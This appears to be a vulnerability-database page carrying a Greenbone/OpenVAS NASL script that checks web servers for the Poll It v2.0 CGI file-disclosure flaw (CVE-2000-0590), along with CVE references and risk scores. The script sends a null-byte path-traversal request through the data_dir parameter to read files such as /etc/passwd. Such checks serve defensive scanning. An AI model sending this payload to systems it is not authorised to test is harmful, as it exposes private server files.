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Poll It v2.0 cgi

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2000 Thomas ReinkeType 
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'Poll It v2.0 cgi' has a remote vulnerability allowing attackers to retrieve files

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ReporterTitlePublishedViews
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CVE
CVE-2000-0590
2 Apr 200305:00
cve
Cvelist
CVE-2000-0590
2 Apr 200305:00
cvelist
Exploit DB
CGI-World Poll It 2.0 - Internal Variable Override
4 Jul 200000:00
exploitdb
EUVD
EUVD-2000-0586
7 Oct 202500:30
euvd
NVD
CVE-2000-0590
4 Jul 200004:00
nvd
Tenable Nessus
Poll It CGI data_dir Parameter Arbitrary File Access
12 Jul 200000:00
nessus
SourceLink
securityfocuswww.securityfocus.com/bid/1431
# SPDX-FileCopyrightText: 2000 Thomas Reinke
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10459");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/1431");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2000-0590");
  script_name("Poll It v2.0 cgi");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2000 Thomas Reinke");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"remove 'Poll_It_SSI_v2.0.cgi' from /cgi-bin.");

  script_tag(name:"summary", value:"'Poll_It_SSI_v2.0.cgi' is installed. This CGI has
  a well known security flaw that lets an attacker retrieve any file from
  the remote system, e.g. /etc/passwd.");

  script_tag(name:"solution_type", value:"Mitigation");

  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");

port = http_get_port( default:80 );

files = traversal_files();

foreach dir( make_list_unique( "/", "/pollit", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  foreach pattern( keys( files ) ) {

    file = files[pattern];

    url = string( dir, "/Poll_It_SSI_v2.0.cgi?data_dir=/" + file + "%00" );

    if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );

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15 Apr 2025 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 27.5
EPSS0.06902
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